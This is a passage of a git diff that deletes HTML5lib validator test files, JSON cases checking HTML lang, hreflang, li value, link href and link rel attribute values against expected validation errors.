-{"description": "valid lang attribute 'is-foo'",
-"input": "<span lang=is-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kho-foo'",
-"input": "<span lang=kho-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iu-foo'",
-"input": "<span lang=iu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'it-foo'",
-"input": "<span lang=it-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vo-foo'",
-"input": "<span lang=vo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ii-foo'",
-"input": "<span lang=ii-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ay-foo'",
-"input": "<span lang=ay-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ik-foo'",
-"input": "<span lang=ik-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'io-foo'",
-"input": "<span lang=io-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kha-foo'",
-"input": "<span lang=kha-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ia-foo'",
-"input": "<span lang=ia-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ave-foo'",
-"input": "<span lang=ave-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jpr-foo'",
-"input": "<span lang=jpr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ie-foo'",
-"input": "<span lang=ie-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ava-foo'",
-"input": "<span lang=ava-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ig-foo'",
-"input": "<span lang=ig-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pap-foo'",
-"input": "<span lang=pap-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ewo-foo'",
-"input": "<span lang=ewo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pau-foo'",
-"input": "<span lang=pau-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ewe-foo'",
-"input": "<span lang=ewe-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'paa-foo'",
-"input": "<span lang=paa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'qaa-foo'",
-"input": "<span lang=qaa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pag-foo'",
-"input": "<span lang=pag-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sat-foo'",
-"input": "<span lang=sat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pal-foo'",
-"input": "<span lang=pal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pam-foo'",
-"input": "<span lang=pam-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pan-foo'",
-"input": "<span lang=pan-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'phi-foo'",
-"input": "<span lang=phi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nog-foo'",
-"input": "<span lang=nog-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'phn-foo'",
-"input": "<span lang=phn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kir-foo'",
-"input": "<span lang=kir-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nia-foo'",
-"input": "<span lang=nia-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dgr-foo'",
-"input": "<span lang=dgr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'syr-foo'",
-"input": "<span lang=syr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kin-foo'",
-"input": "<span lang=kin-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tup-foo'",
-"input": "<span lang=tup-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'niu-foo'",
-"input": "<span lang=niu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gsw-foo'",
-"input": "<span lang=gsw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'epo-foo'",
-"input": "<span lang=epo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jbo-foo'",
-"input": "<span lang=jbo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mic-foo'",
-"input": "<span lang=mic-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tha-foo'",
-"input": "<span lang=tha-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sam-foo'",
-"input": "<span lang=sam-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hai-foo'",
-"input": "<span lang=hai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gmh-foo'",
-"input": "<span lang=gmh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cus-foo'",
-"input": "<span lang=cus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ell-foo'",
-"input": "<span lang=ell-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wen-foo'",
-"input": "<span lang=wen-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bnt-foo'",
-"input": "<span lang=bnt-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fre-foo'",
-"input": "<span lang=fre-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'elx-foo'",
-"input": "<span lang=elx-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ada-foo'",
-"input": "<span lang=ada-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nav-foo'",
-"input": "<span lang=nav-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hat-foo'",
-"input": "<span lang=hat-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hau-foo'",
-"input": "<span lang=hau-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'haw-foo'",
-"input": "<span lang=haw-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bin-foo'",
-"input": "<span lang=bin-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'amh-foo'",
-"input": "<span lang=amh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bik-foo'",
-"input": "<span lang=bik-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bih-foo'",
-"input": "<span lang=bih-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mos-foo'",
-"input": "<span lang=mos-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'moh-foo'",
-"input": "<span lang=moh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mon-foo'",
-"input": "<span lang=mon-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mol-foo'",
-"input": "<span lang=mol-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bis-foo'",
-"input": "<span lang=bis-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bla-foo'",
-"input": "<span lang=bla-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pol-foo'",
-"input": "<span lang=pol-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tib-foo'",
-"input": "<span lang=tib-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tvl-foo'",
-"input": "<span lang=tvl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tgk-foo'",
-"input": "<span lang=tgk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ijo-foo'",
-"input": "<span lang=ijo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'est-foo'",
-"input": "<span lang=est-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kmb-foo'",
-"input": "<span lang=kmb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ice-foo'",
-"input": "<span lang=ice-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'peo-foo'",
-"input": "<span lang=peo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tgl-foo'",
-"input": "<span lang=tgl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'umb-foo'",
-"input": "<span lang=umb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tmh-foo'",
-"input": "<span lang=tmh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fon-foo'",
-"input": "<span lang=fon-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hsb-foo'",
-"input": "<span lang=hsb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'be-foo'",
-"input": "<span lang=be-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bg-foo'",
-"input": "<span lang=bg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'run-foo'",
-"input": "<span lang=run-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ba-foo'",
-"input": "<span lang=ba-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rum-foo'",
-"input": "<span lang=rum-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bm-foo'",
-"input": "<span lang=bm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bn-foo'",
-"input": "<span lang=bn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bo-foo'",
-"input": "<span lang=bo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bh-foo'",
-"input": "<span lang=bh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bi-foo'",
-"input": "<span lang=bi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'br-foo'",
-"input": "<span lang=br-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bs-foo'",
-"input": "<span lang=bs-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rus-foo'",
-"input": "<span lang=rus-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rup-foo'",
-"input": "<span lang=rup-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pli-foo'",
-"input": "<span lang=pli-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'om-foo'",
-"input": "<span lang=om-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oj-foo'",
-"input": "<span lang=oj-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ace-foo'",
-"input": "<span lang=ace-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ach-foo'",
-"input": "<span lang=ach-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oc-foo'",
-"input": "<span lang=oc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dzo-foo'",
-"input": "<span lang=dzo-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kru-foo'",
-"input": "<span lang=kru-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srr-foo'",
-"input": "<span lang=srr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ido-foo'",
-"input": "<span lang=ido-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srp-foo'",
-"input": "<span lang=srp-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kro-foo'",
-"input": "<span lang=kro-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'krl-foo'",
-"input": "<span lang=krl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'krc-foo'",
-"input": "<span lang=krc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nds-foo'",
-"input": "<span lang=nds-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'os-foo'",
-"input": "<span lang=os-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'or-foo'",
-"input": "<span lang=or-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zul-foo'",
-"input": "<span lang=zul-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'twi-foo'",
-"input": "<span lang=twi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sog-foo'",
-"input": "<span lang=sog-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nso-foo'",
-"input": "<span lang=nso-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'swe-foo'",
-"input": "<span lang=swe-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'som-foo'",
-"input": "<span lang=som-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chm-foo'",
-"input": "<span lang=chm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'snd-foo'",
-"input": "<span lang=snd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sot-foo'",
-"input": "<span lang=sot-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mkd-foo'",
-"input": "<span lang=mkd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wak-foo'",
-"input": "<span lang=wak-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'her-foo'",
-"input": "<span lang=her-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lol-foo'",
-"input": "<span lang=lol-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mkh-foo'",
-"input": "<span lang=mkh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'heb-foo'",
-"input": "<span lang=heb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'loz-foo'",
-"input": "<span lang=loz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gil-foo'",
-"input": "<span lang=gil-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'was-foo'",
-"input": "<span lang=was-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'war-foo'",
-"input": "<span lang=war-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hz-foo'",
-"input": "<span lang=hz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hy-foo'",
-"input": "<span lang=hy-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sid-foo'",
-"input": "<span lang=sid-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hr-foo'",
-"input": "<span lang=hr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ht-foo'",
-"input": "<span lang=ht-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hu-foo'",
-"input": "<span lang=hu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hi-foo'",
-"input": "<span lang=hi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ho-foo'",
-"input": "<span lang=ho-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bul-foo'",
-"input": "<span lang=bul-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wal-foo'",
-"input": "<span lang=wal-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bua-foo'",
-"input": "<span lang=bua-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bug-foo'",
-"input": "<span lang=bug-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'he-foo'",
-"input": "<span lang=he-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uz-foo'",
-"input": "<span lang=uz-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aze-foo'",
-"input": "<span lang=aze-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ur-foo'",
-"input": "<span lang=ur-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zha-foo'",
-"input": "<span lang=zha-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uk-foo'",
-"input": "<span lang=uk-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ug-foo'",
-"input": "<span lang=ug-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zho-foo'",
-"input": "<span lang=zho-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aa-foo'",
-"input": "<span lang=aa-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ab-foo'",
-"input": "<span lang=ab-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ae-foo'",
-"input": "<span lang=ae-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uig-foo'",
-"input": "<span lang=uig-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'af-foo'",
-"input": "<span lang=af-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ak-foo'",
-"input": "<span lang=ak-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'am-foo'",
-"input": "<span lang=am-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'myv-foo'",
-"input": "<span lang=myv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'khi-foo'",
-"input": "<span lang=khi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'as-foo'",
-"input": "<span lang=as-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ar-foo'",
-"input": "<span lang=ar-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'inh-foo'",
-"input": "<span lang=inh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'khm-foo'",
-"input": "<span lang=khm-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'av-foo'",
-"input": "<span lang=av-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mya-foo'",
-"input": "<span lang=mya-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ine-foo'",
-"input": "<span lang=ine-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'az-foo'",
-"input": "<span lang=az-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ina-foo'",
-"input": "<span lang=ina-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'inc-foo'",
-"input": "<span lang=inc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nl-foo'",
-"input": "<span lang=nl-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nn-foo'",
-"input": "<span lang=nn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'no-foo'",
-"input": "<span lang=no-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'na-foo'",
-"input": "<span lang=na-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nb-foo'",
-"input": "<span lang=nb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nai-foo'",
-"input": "<span lang=nai-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nd-foo'",
-"input": "<span lang=nd-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ne-foo'",
-"input": "<span lang=ne-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tir-foo'",
-"input": "<span lang=tir-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ng-foo'",
-"input": "<span lang=ng-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ny-foo'",
-"input": "<span lang=ny-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nap-foo'",
-"input": "<span lang=nap-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gre-foo'",
-"input": "<span lang=gre-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'grb-foo'",
-"input": "<span lang=grb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'grc-foo'",
-"input": "<span lang=grc-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nau-foo'",
-"input": "<span lang=nau-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'grn-foo'",
-"input": "<span lang=grn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nr-foo'",
-"input": "<span lang=nr-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tig-foo'",
-"input": "<span lang=tig-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yor-foo'",
-"input": "<span lang=yor-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nv-foo'",
-"input": "<span lang=nv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mri-foo'",
-"input": "<span lang=mri-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'may-foo'",
-"input": "<span lang=may-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zun-foo'",
-"input": "<span lang=zun-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ile-foo'",
-"input": "<span lang=ile-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sqi-foo'",
-"input": "<span lang=sqi-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gon-foo'",
-"input": "<span lang=gon-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cpe-foo'",
-"input": "<span lang=cpe-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cpf-foo'",
-"input": "<span lang=cpf-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cpp-foo'",
-"input": "<span lang=cpp-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "invalid lang attribute 'foo'",
-"input": "<span lang=foo>",
-"fail-unless": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'EN'",
-"input": "<span lang=EN>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'EN-foo'",
-"input": "<span lang=EN-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "lang attribute can be blank",
-"input": "<span lang>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "lang attribute can be blank (with quotes)",
-"input": "<span lang=''>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "lang attribute can not be just space characters",
-"input": "<span lang=' '>",
-"fail-unless": "invalid-lang-code"},
-
-{"description": "lang attribute can not contain leading spaces",
-"input": "<span lang=' en'>",
-"fail-unless": "invalid-lang-code"},
-
-{"description": "lang attribute can not contain trailing spaces",
-"input": "<span lang='en '>",
-"fail-unless": "invalid-lang-code"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/li-value-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/li-value-attribute.test
deleted file mode 100755
index 9ef9dcc5..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/li-value-attribute.test
+++ /dev/null
@@ -1,7 +0,0 @@
-{"tests": [
-
-{"description": "invalid li value attribute value due to leading junk",
-"input": "<li value=a1>",
-"fail-unless": "invalid-integer-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/link-href-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/link-href-attribute.test
deleted file mode 100755
index 950c3786..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/link-href-attribute.test
+++ /dev/null
@@ -1,7 +0,0 @@
-{"tests": [
-
-{"description": "link href contains invalid URI due to space in domain",
-"input": "<link href='http://www.example. com/'",
-"fail-unless": "invalid-uri-char"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/link-hreflang-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/link-hreflang-attribute.test
deleted file mode 100755
index de39d4da..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/link-hreflang-attribute.test
+++ /dev/null
@@ -1,7 +0,0 @@
-{"tests": [
-
-{"description": "invalid lang attribute 'foo'",
-"input": "<link hreflang=foo>",
-"fail-unless": "invalid-lang-code"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/link-rel-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/link-rel-attribute.test
deleted file mode 100755
index a436751d..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/link-rel-attribute.test
+++ /dev/null
@@ -1,271 +0,0 @@
-{"tests": [
-
-{"description": "invalid link rel value 'foo'",
-"input": "<link rel=foo>",
-"fail-unless": "invalid-rel"},
-
-{"description": "valid link rel value 'alternate stylesheet'",
-"input": "<link rel='alternate stylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading space",
-"input": "<link rel=' stylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with trailing space",
-"input": "<link rel='stylesheet '>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading and trailing space",
-"input": "<link rel=' stylesheet '>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading tab",
-"input": "<link rel='\tstylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with trailing tab",
-"input": "<link rel='stylesheet\t'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading and trailing tab",
-"input": "<link rel='\tstylesheet\t'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading LF",
-"input": "<link rel='\nstylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with trailing LF",
-"input": "<link rel='stylesheet\n'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading and trailing LF",
-"input": "<link rel='\nstylesheet\n'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading LT",
-"input": "<link rel='\u000Bstylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with trailing LT",
-"input": "<link rel='stylesheet\u000B'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading and trailing LT",
-"input": "<link rel='\u000Bstylesheet\u000B'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading FF",
-"input": "<link rel='\u000Cstylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with trailing FF",
-"input": "<link rel='stylesheet\u000C'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading and trailing FF",
-"input": "<link rel='\u000Cstylesheet\u000C'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading CR",
-"input": "<link rel='\rstylesheet'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with trailing CR",
-"input": "<link rel='stylesheet\r'>",
-"fail-if": "invalid-rel"},
-
-{"description": "valid single link rel value with leading and trailing CR",
-"input": "<link rel='\rstylesheet\r'>",
-"fail-if": "invalid-rel"},
-
